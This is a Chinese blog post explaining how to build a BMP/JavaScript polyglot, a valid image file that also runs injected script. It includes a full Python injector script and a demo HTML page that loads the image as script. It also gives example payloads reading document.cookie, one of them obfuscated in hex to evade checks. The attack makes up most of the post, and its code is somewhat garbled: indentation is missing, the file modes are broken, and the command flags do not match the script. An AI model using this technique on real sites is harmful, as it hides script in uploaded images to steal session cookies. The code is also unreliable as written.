NO IMAGE

昨天看到一篇文章《hacking
throung images
》,裡面介紹瞭如何在BMP格式的圖片裡注入JS程式碼,使得BMP圖片既可以正常顯示,
也可以執行其中的JS程式碼,覺得相當有趣。
 
執行JS注入的指令碼
關鍵:構造符合正常BMP格式的圖片
 
步驟
1. 將原BMP檔案的第三,第四位元組替換為\x2F\x2A,
對應js中的註釋符號/*
BMP檔案的第三、四、五、六位元組表示BMP檔案的大小
 
2. 在BMP檔案末尾新增
(1)\xFF
(2)\x2A\x2F,對應的js中的註釋符號*/
(3)\x3D\x31\x3B,對應的=1;  是為了偽造成BMP格式
(4)定製的JS程式碼
 
BMPinjector.py原始碼如下(Macro
Ramili原本的原始碼

#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
f = open(fname,"r b")
b = f.read()
f.close()
f = open(fname,"w b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close()
f = open(fname,"a b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to infected")
parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
args = parser.parse_args()
injectFile(args.js_payload,args.filename)

 

 
演示
下面演示實際效果
執行指令碼,將指定的JS程式碼寫入到正常的BMP圖片中
格式:python 指令碼名 -i 正常BMP格式圖片 JSPayload

python BMPinjector.py -i 1.bmp “alert(document.cookie);”

演示頁面run.html

<html>
<head><title>Opening an image</title></head>
<body>
<img src="1.bmp"\>
<script src="1.bmp"></script>
</body>
</html>

 

執行 http://xxx/run.html
 
也可以採用js混淆來繞過檢查,得到和上面一樣的效果

python BMPinjector.py -i 1.bmp “var _0x9c4c=\”\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\”; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);”

注意:\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65對應document.cookie
 
 
 
 
參考:
http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html